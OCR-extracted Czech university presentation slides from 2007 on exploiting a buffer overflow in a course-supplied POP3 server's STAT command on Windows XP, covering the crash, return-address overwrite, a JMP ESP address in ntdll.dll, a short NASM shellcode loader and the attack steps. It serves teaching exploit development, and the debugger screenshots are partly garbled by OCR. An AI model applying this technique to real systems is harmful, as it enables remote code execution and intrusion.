Vyuziti buffer-overflow

semestralni ukol predmetu
X36API
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Zadani

» Vyuzit chybu buffer-overflow ve vzorovem
POP3 serveru a spustit vlastni kod

 http://moon.felk.cvut.cz/~xballner/vyuka/
x36api/index.php?&func=practice

 http://moon.felk.cvut.cz/~xballner/vyuka/
x36api/data/2007 summer/
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Vypracovani

» Clenové tymu:
— Tomas Navratil
— Jan Pospisil
— Jifi Vrbicky

* Na os WInXP Home

* Prezentovano: 9. kvétna 2007
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Analyza

o Studium RFC 1349
(Post Office Protocol — Version 3)

« ZkousSeni jednotlivych pfikazu s ruznymi
argumenty

* => nalezeno podivne chovani prikazu
STAT
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Prikaz STAT

* Podle RFC ma vracet jednu radku kladnée
odpovedi s dvema cCisly

 RFC dokonce nedoporucuje predavat zde
jiné informace

* VVzorovy server vraci 3 Cisla a jeste za ne
kopiruje cast argumentu prikazu STAT
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Prikaz STAT - chovani

* Pokud se prihlasime k bézicimu serveru
Znovu, zvetsuje se pocet kopirovanych
znaku z argumentu STAT na vystup

* Pokud se alespon 3 krat prihlasime a jako
argument zadame dostatecne velky
retézec, program je ukoncen systemem
pro neplatnou operaci
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Neplatna operace...

=] telnet localhost

+0K anthorized

statcCcococCccCCcCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC oD
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCOD
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCOD
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCOD
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCOD
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCOD
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC D

+0K 3 147? 4 ccccoccococcCccCCCCCCCCCCCCCCCCCCCCCCCCCD

cccccoccocY

Fipojeni k hostiteli bylo ztraceno.

okratujte stisknutim libovolné klawvesy...

9.5.2007 X36API - Buffer-Overflow



Neplatna operace...

=] telnet localhost - ||
[=]

+0K POP READY

user a

+0K

pass s

+0K anthorized
statcCcococCccCCcCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC oD
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCh
CCCCCCCCCCCCC
CCCCCCCCCCCCC
CCCCCCCCCCCCC
CCCCCCCCCCCCC
CCCCCCCCCCCCC
+0K 3 1479 4
cccccccccc'd

¥ aplikaci pop3.exe dozlo k problému a je treba j zavrit.
Omlouvame ze za yznklé potiZe.

PFipojeni k b

Pokratujte st U#ﬁﬁﬂﬂﬂhﬂw ) —
AppMame; pop3. 1.0.0 b odM ame: unknown
Modver 0.0.0.0

=
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Magicka adresa 63636363

» Co se stalo naznacCuje, ze jsme
argumentem prepsali navratovou adresu
na zasobniku (viz algoritmus volani
funkce)

* Potrebujeme zjistit, co se vlastne na
zasobniku deje
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Debuger — analyza chyby
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Debuger — analyza chyby
(zasobnik)

cast
argumentu
prikazu STAT

A1 2F350C

22 UNICODE "C:WINDOWS sy stemaz~IHME2, DLL"™

T T T T T T T = T
len N e N B N W B B R | v
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Vyuziti chyby

* Pokud tedy argumentem predame
vhodnou adresu, muzeme skocCit (temér)

kam si prejeme

* Vhodnym mistem je nejaké umisteni
instrukce JMP ESP, nebo CALL ESP
(ale adresa nesmi obsahovat nuly!)
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Vyuziti chyby

F
Cs
Cs
Cs
Cs
C:
C:
C:
CE

rCI41EED IHF ESF

FHLL OwarD PTE D::EE

MO BYTE PTR DS:LCESYC

HLT Friwi leged command
IM AL,HFE I-.0 command

I#% OWORD PTR DS5: [EB=+3224212C4 1]

AOO DH,BYTE FPTR DS

FMaL) EH”.DMHFD FTE F

MO ER=,OWORD FPTRE DS

FUSH DOWORD PTE DS: [CEQA4+!
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Vyuziti chyby

* V. modulu NTDLL.DLL jsem na adrese
Ox7C941EED nasli instrukci JMP ESP
(OXFFEA4)

* Nyni je potreba spravne odhadnou /
vypocitat / vyzkouset misto, kam vlozit tuto
adresu a nas shell-kdd do argumentu
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Zavadec shell-koédu

; zaplneni bufferu
times 64 db "c*
; adresa jJmp esp v ntdll._dll
dd Ox7C941EED
; Skluzavka
nop
nop
nop

%ainclude “shell-code.asm*
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Postup utoku

* Nekolikrat se pripojit, aby se prichozi
buffer dostateCne zvetsil

« Zaslat ,infikovany® prikaz, {j. prikaz STAT
nasledovany zavadecem shell-kodu a
viastnim shell-kddem

» Zaslat znaky CRLF — ukonceni prikazu
STAT - teprve pak se data zacnou
Zpracovavat
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Literatura a nastroje

o ftp://ftp.isi.edu/in-notes/rfc1939.txt
* msdn2.microsoft.com/en-us/library/
« materialy k X36API

» debuger OllyDbg

« asm compiler NASM

» c++ compiler Borland C++ 5.5.1
e telnet, EditPlus
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Vzorovy program vyuzivajici
chybu a vice informaci na:

http://www.vpp-net.com/fel/api/pop3
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Dekujeme za pozornost
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